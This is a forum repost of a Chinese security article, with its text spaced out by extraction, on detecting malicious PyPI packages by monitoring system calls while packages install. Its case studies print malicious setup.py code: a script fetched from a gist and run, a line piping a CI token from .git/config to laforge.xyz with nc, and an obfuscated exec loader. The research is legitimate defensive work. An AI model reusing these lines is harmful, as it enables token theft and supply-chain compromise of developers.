搜索

[16124] 2020-11-23_技术分享如何在PyPI上寻找恶意软件包

文档创建者：s7ckTeam
浏览次数：104
最后更新：2025-01-18
2020-11-23_技术分享如何在PyPI上寻找恶意软件包 技 术 分 享   |   如 何 在 P y P I 上 寻 找 恶 意 软 件 包 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 1 - 2 3 写 在 前 面 的 话 写 在 前 面 的 话 大 约 一 年 前 ， P y t h o n 软 件 基 金 会 （ P y t h o n   S o f t w a r e   F o u n d a t i o n ， R F I ） 公 开 了 一 个 信 息 请 求 （ R F I ） ， 讨 论 的 是 如 何 检 测 上 传 到 P y P I 的 恶 意 软 件 包 ， 这 显 然 是 一 个 影 响 几 乎 每 个 包 管 理 器 的 实 际 问 题 。 事 实 上 ， 像 P y P I 这 样 的 包 管 理 器 是 几 乎 每 个 公 司 都 依 赖 的 关 键 基 础 设 施 。 这 是 我 感 兴 趣 的 一 个 领 域 ， 所 以 我 用 我 的 想 法 回 应 我 们 应 该 如 何 去 处 理 这 个 问 题 。 在 这 篇 文 章 中 ， 我 将 详 细 介 绍 如 何 安 装 和 分 析 P y P I 中 的 每 个 包 ， 并 寻 找 其 中 潜 在 的 恶 意 活 动 。 如 何 寻 找 恶 意 库 如 何 寻 找 恶 意 库 为 了 在 软 件 包 的 安 装 过 程 中 执 行 任 意 命 令 ， 开 发 人 员 通 常 会 将 代 码 添 加 到 代 码 包 里 的 s e t u p . p y 文 件 中 ， 具 体 可 以 参 考 这 个 【 代 码 库 】 。 从 大 的 角 度 来 看 ， 我 们 有 两 种 方 法 可 以 找 到 潜 在 的 恶 意 依 赖 组 件 ， 即 静 态 分 析 和 动 态 分 析 。 虽 然 静 态 分 析 非 常 有 趣 ， 但 本 文 主 要 使 用 的 是 动 态 分 析 方 法 。 那 么 ， 我 们 到 底 要 寻 找 什 么 呢 ？ 那 么 ， 我 们 到 底 要 寻 找 什 么 呢 ？ 首 先 我 们 要 知 道 一 点 ， 很 多 重 要 的 事 情 都 是 由 内 核 完 成 的 。 一 般 的 程 序 （ 例 如 p i p ） 如 果 想 要 让 内 核 来 完 成 某 个 任 务 时 ， 一 般 都 是 通 过 使 用 s y s c a l l s ， 即 系 统 调 用 完 成 的 。 打 开 文 件 ， 建 立 网 络 连 接 ， 以 及 执 行 命 令 等 任 务 ， 都 是 通 过 系 统 调 用 实 现 的 。 这 也 就 意 味 着 ， 如 果 我 们 能 在 一 个 P y t h o n 包 的 安 装 过 程 中 监 控 系 统 调 用 的 话 ， 那 我 们 就 可 以 去 查 看 任 何 可 疑 的 事 件 了 。 这 样 做 的 好 处 就 在 于 ， 无 论 恶 意 代 码 经 过 了 多 少 层 混 淆 处 理 ， 我 们 都 可 以 查 看 到 这 些 代 码 实 际 要 做 的 事 情 。 现 在 ， 我 们 只 要 要 做 的 事 情 就 是 监 控 系 统 调 用 了 ， 那 么 我 们 该 如 何 做 呢 ？ 使 用 使 用 S y s d i g 监 控 系 统 调 用 监 控 系 统 调 用 实 际 上 ， 社 区 已 经 提 供 了 很 多 能 够 帮 助 我 们 监 控 系 统 调 用 的 工 具 了 。 针 对 我 们 这 个 目 标 ， 我 选 择 使 用 的 时 S y s d i g ， 因 为 它 既 能 够 提 供 结 构 化 的 输 出 ， 又 能 够 帮 助 我 们 很 好 地 对 数 据 进 行 过 滤 。 为 了 实 现 这 一 点 ， 在 启 动 安 装 包 的 D o c k e r 容 器 时 ， 我 还 启 动 了 一 个 S y s d i g 进 程 ， 该 进 程 只 会 监 视 来 自 该 容 器 的 事 件 。 除 此 之 外 ， 我 还 过 滤 掉 了 跟 p y p i . o r g 或 f i l e s . p y t h o n h o s t e d . c o m 相 关 的 网 络 读 写 操 作 ， 因 为 它 们 跟 我 们 的 目 标 无 关 。 现 在 我 们 已 经 有 了 捕 获 系 统 调 用 的 方 法 ， 但 还 有 一 个 不 得 不 解 决 的 问 题 ， 即 如 何 获 取 所 有 可 用 P y P I 包 的 完 整 列 表 。 获 取 获 取 P y t h o n 包 包 幸 运 的 是 ， P y P I 提 供 了 一 个 名 为 “ S i m p l e   A P I ” 的 A P I 接 口 ， 这 个 接 口 可 以 被 当 作 是 一 个 包 含 了 指 向 每 一 个 软 件 包 链 接 的 大 型 H T M L 页 面 。 我 们 可 以 爬 取 这 个 页 面 中 的 信 息 ， 并 使 用 p u p 来 对 链 接 进 行 解 析 ， 这 样 我 们 就 可 以 拿 到 大 约 2 6 8 0 0 0 个 软 件 包 ： 针 对 我 们 的 实 验 场 景 ， 我 们 需 要 的 是 每 一 个 软 件 包 的 最 新 版 本 ， 我 们 的 管 道 如 下 ： 简 而 言 之 ， 我 们 将 每 个 包 的 名 称 发 送 到 一 组 E C 2 实 例 ， 它 可 以 从 P y P I 获 取 关 于 包 的 一 些 元 数 据 ， 然 后 启 动 s y s d i g 以 及 一 系 列 容 器 来 通 过 p i p 安 装 包 ， 同 时 收 集 系 统 调 用 和 网 络 流 量 。 然 后 ， 所 有 的 数 据 都 被 传 送 到 S 3 以 供 后 续 分 析 使 用 。 整 个 过 程 如 下 图 所 示 ： 整 个 过 程 如 下 图 所 示 ：   c u r l   h t t p s : / / p y p i . o r g / s i m p l e /   |   p u p   ' a   t e x t { } '   >   p y p i _ f u l l . t x t                                 w c   - l   p y p i _ f u l l . t x t     2 6 8 0 3 8   p y p i _ f u l l . t x t
上 述 操 作 完 成 后 ， 我 们 将 在 一 个 S 3   B u c k e t 中 存 储 大 约 1 T B 的 数 据 ， 其 中 包 含 了 大 约 2 4 5 0 0 0 个 软 件 包 。 我 们 对 元 数 据 和 输 出 进 行 整 理 之 后 ， 将 得 到 一 系 列 J S O N 文 件 ： 然 后 ， 我 编 写 了 一 系 列 脚 本 来 聚 合 数 据 ， 试 图 对 代 码 的 行 为 进 行 分 析 ， 让 我 们 深 入 研 究 一 下 结 果 。 网 络 请 求 网 络 请 求 软 件 包 在 安 装 过 程 中 需 要 进 行 网 络 连 接 的 原 因 有 很 多 ， 它 们 可 能 需 要 下 载 合 法 的 二 进 制 组 件 或 其 他 资 源 ， 也 有 可 能 是 在 尝 试 从 系 统 中 提 取 数 据 或 凭 证 。 我 们 发 现 ， 其 中 有 4 6 0 包 会 跟 1 0 9 台 单 独 的 主 机 建 立 网 络 连 接 。 正 如 上 面 提 到 的 ， 其 中 相 当 一 部 分 是 由 于 软 件 包 共 享 依 赖 组 件 （ 这 些 依 赖 会 进 行 网 络 连 接 ） 的 结 果 。 不 过 ， 我 们 可 以 通 过 映 射 依 赖 关 系 可 以 过 滤 掉 这 些 内 容 。 命 令 执 行 命 令 执 行 与 网 络 连 接 一 样 ， 软 件 包 在 安 装 期 间 运 行 系 统 命 令 也 是 有 正 当 理 由 ， 这 里 可 以 是 编 译 本 机 二 进 制 文 件 和 设 置 正 确 的 环 境 等 等 。 纵 观 我 们 的 示 例 集 ， 我 们 发 现 有 6 0 7 2 5 个 包 会 在 安 装 期 间 执 行 命 令 。 就 像 网 络 连 接 一 样 ， 我 们 必 须 记 住 ， 许 多 连 接 都 是 由 运 行 命 令 的 包 的 下 游 依 赖 组 件 发 起 的 。 有 趣 的 软 件 包 有 趣 的 软 件 包 深 入 研 究 结 果 ， 大 多 数 网 络 连 接 和 命 令 似 乎 是 合 法 的 。 但 是 ， 我 想 把 一 些 奇 怪 的 行 为 作 为 案 例 研 究 ， 来 说 明 这 种 分 析 有 多 有 用 。 i - a m - m a l i c i o u s 这 里 ， 我 们 发 现 了 一 个 名 叫 i - a m - m a l i c i o u s 的 包 ， 它 就 是 一 个 恶 意 包 。 如 果 大 家 觉 得 这 个 包 的 名 字 还 不 够 明 显 的 话 ， 下 面 的 细 节 也 足 以 证 明 一 切 ： {         " m e t a d a t a " :   { } ,         " o u t p u t " :   {                 " d n s " :   [ ] ,                   / /   A n y   D N S   r e q u e s t s   m a d e                 " f i l e s " :   [ ] ,               / /   A l l   f i l e   a c c e s s   o p e r a t i o n s                 " c o n n e c t i o n s " :   [ ] ,   / /   T C P   c o n n e c t i o n s   e s t a b l i s h e d                 " c o m m a n d s " :   [ ] ,         / /   A n y   c o m m a n d s   e x e c u t e d         } } {     " d n s " :   [ {                     " n a m e " :   " g i s t . g i t h u b u s e r c o n t e n t . c o m " ,                     " a d d r e s s e s " :   [                         " 1 9 9 . 2 3 2 . 6 4 . 1 3 3 "                     ]         } ]     ] ,     " f i l e s " :   [         . . .         {             " f i l e n a m e " :   " / t m p / m a l i c i o u s . p y " ,             " f l a g " :   " O _ R D O N L Y | O _ C L O E X E C "         } ,         . . .
我 们 看 到 ， 它 会 跟 g i s t . g i t h u b . c o m 建 立 连 接 ， 执 行 一 个 P y t h o n 文 件 ， 然 后 创 建 一 个 名 为 “ / t m p / m a l i c i o u s - w a s - h e r e ” 的 文 件 。 果 不 其 然 ， 这 些 全 部 都 是 利 用 s e t u p . p y 实 现 的 ： m a l i c i o u s p a c k a g e 另 一 个 恶 意 包 甚 至 直 接 把 名 字 都 改 成 了 m a l i c i o u s p a c k a g e ， 下 面 给 出 的 是 相 关 的 输 出 ： 这 个 包 似 乎 能 够 从 “ . g i t / c o n f i g ” 文 件 中 提 取 出 令 牌 ， 并 将 其 上 传 至 l a f o r g e . x y z 。 通 过 分 析 其 s e t u p . p y ， 我 们 可 以 看 到 下 列 内 容 ：         {             " f i l e n a m e " :   " / t m p / m a l i c i o u s - w a s - h e r e " ,             " f l a g " :   " O _ T R U N C | O _ C R E A T | O _ W R O N L Y | O _ C L O E X E C "         } ,         . . .     ] ,     " c o m m a n d s " :   [         " p y t h o n   / t m p / m a l i c i o u s . p y "     ] } f r o m   u r l l i b . r e q u e s t   i m p o r t   u r l o p e n h a n d l e r   =   u r l o p e n ( " h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / m o s e r / 4 9 e 6 c 4 0 4 2 1 a 9 c 1 6 a 1 1 4 b e d 7 3 c 5 1 d 8 9 9 d / r a w / f c d f f 7 e 0 8 f 5 2 3 4 a 7 2 6 8 6 5 b b 3 e 0 2 a 3 c c 4 7 3 c e c d a 7 / m a l i c i o u s . p y " ) w i t h   o p e n ( " / t m p / m a l i c i o u s . p y " ,   " w b " )   a s   f p :         f p . w r i t e ( h a n d l e r . r e a d ( ) ) i m p o r t   s u b p r o c e s s s u b p r o c e s s . c a l l ( [ " p y t h o n " ,   " / t m p / m a l i c i o u s . p y " ] ) {     " d n s " :   [ {             " n a m e " :   " l a f o r g e . x y z " ,             " a d d r e s s e s " :   [                 " 3 4 . 8 2 . 1 1 2 . 6 3 "             ]     } ] ,     " f i l e s " :   [         {             " f i l e n a m e " :   " / a p p / . g i t / c o n f i g " ,             " f l a g " :   " O _ R D O N L Y "         } ,     ] ,     " c o m m a n d s " :   [         " s h   - c   a p t   i n s t a l l   - y   s o c a t " ,         " s h   - c   g r e p   c i - t o k e n   / a p p / . g i t / c o n f i g   |   n c   l a f o r g e . x y z   5 5 6 6 " ,         " g r e p   c i - t o k e n   / a p p / . g i t / c o n f i g " ,         " n c   l a f o r g e . x y z   5 5 6 6 "     ] } . . . i m p o r t   o s
e a s y I o C t l 还 有 一 个 名 叫 e a s y I o C t l 的 包 ， 它 声 称 能 够 抽 象 化 I O 操 作 ， 但 我 们 发 现 它 会 执 行 下 列 命 令 ： 这 很 可 疑 ， 但 不 一 定 具 有 恶 意 性 。 不 过 这 个 例 子 很 好 地 展 示 了 我 们 用 于 跟 踪 系 统 调 用 的 方 法 。 下 面 是 该 项 目 的 s e t u p . p y 文 件 ： 为 了 弄 清 楚 这 些 代 码 要 做 的 事 情 ， 我 们 可 以 用 p r i n t 来 代 替 e x e c ， 结 果 如 下 ： 这 就 是 它 索 要 执 行 的 命 令 ， 即 使 代 码 经 过 了 混 淆 处 理 ， 也 不 会 影 响 我 们 的 分 析 结 果 ， 因 为 我 们 是 在 系 统 调 用 级 别 上 进 行 的 监 控 。 精 彩 推 荐 精 彩 推 荐 阅 读 原 文 i m p o r t   o s o s . s y s t e m ( ' a p t   i n s t a l l   - y   s o c a t ' ) o s . s y s t e m ( ' g r e p   c i - t o k e n   / a p p / . g i t / c o n f i g   |   n c   l a f o r g e . x y z   5 5 6 6 ' ) [     " s h   - c   t o u c h   / t m p / t e s t i n g 1 2 3 " ,     " t o u c h   / t m p / t e s t i n g 1 2 3 " ] c l a s s   M y I n s t a l l ( ) :         d e f   r u n ( s e l f ) :                 c o n t r o l _ f l o w _ g u a r d _ c o n t r o l s   =   ' l 0 n E @ ` e B Y N Q ) W g + - , k a } f M ( = 2 v 4 A V p ! [ d R / Z D F 9 s x 0 c ~ P O % y c   X 3 U K : . w x 0 b L $ I j q < & r 6 * ? ' 1 > m S z _ ^ C t o # h i J t G 5 x b 8 | ; n 7 T { u H ] " r '                 c o n t r o l _ f l o w _ g u a r d _ m a p p e r s   =   [ 8 1 ,   7 1 ,   2 9 ,   7 8 ,   9 9 ,   8 3 ,   4 8 ,   7 8 ,   4 0 ,   9 0 ,   7 8 ,   4 0 ,   5 4 ,   4 0 ,   4 6 ,   4 0 ,   8 3 ,   6 ,   7 1 ,   2 2 ,   6 8 ,   8 3 ,   7 8 ,   9 5 ,   4 7 ,   8 0 ,   4 8 ,   3 4 ,   8 3 ,   7 1 ,   2 9 ,   3 4 ,   8 3 ,   6 ,   4 0                 c o n t r o l _ f l o w _ g u a r d _ i n i t   =   " "                 f o r   c o n t r o L _ f l o w _ c o d e   i n   c o n t r o l _ f l o w _ g u a r d _ m a p p e r s :                         c o n t r o l _ f l o w _ g u a r d _ i n i t   =   c o n t r o l _ f l o w _ g u a r d _ i n i t   +   c o n t r o l _ f l o w _ g u a r d _ c o n t r o l s [ c o n t r o L _ f l o w _ c o d e ]                 e x e c ( c o n t r o l _ f l o w _ g u a r d _ i n i t ) i m p o r t   o s ; o s . s y s t e m ( ' t o u c h   / t m p / t e s t i n g 1 2 3 ' )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理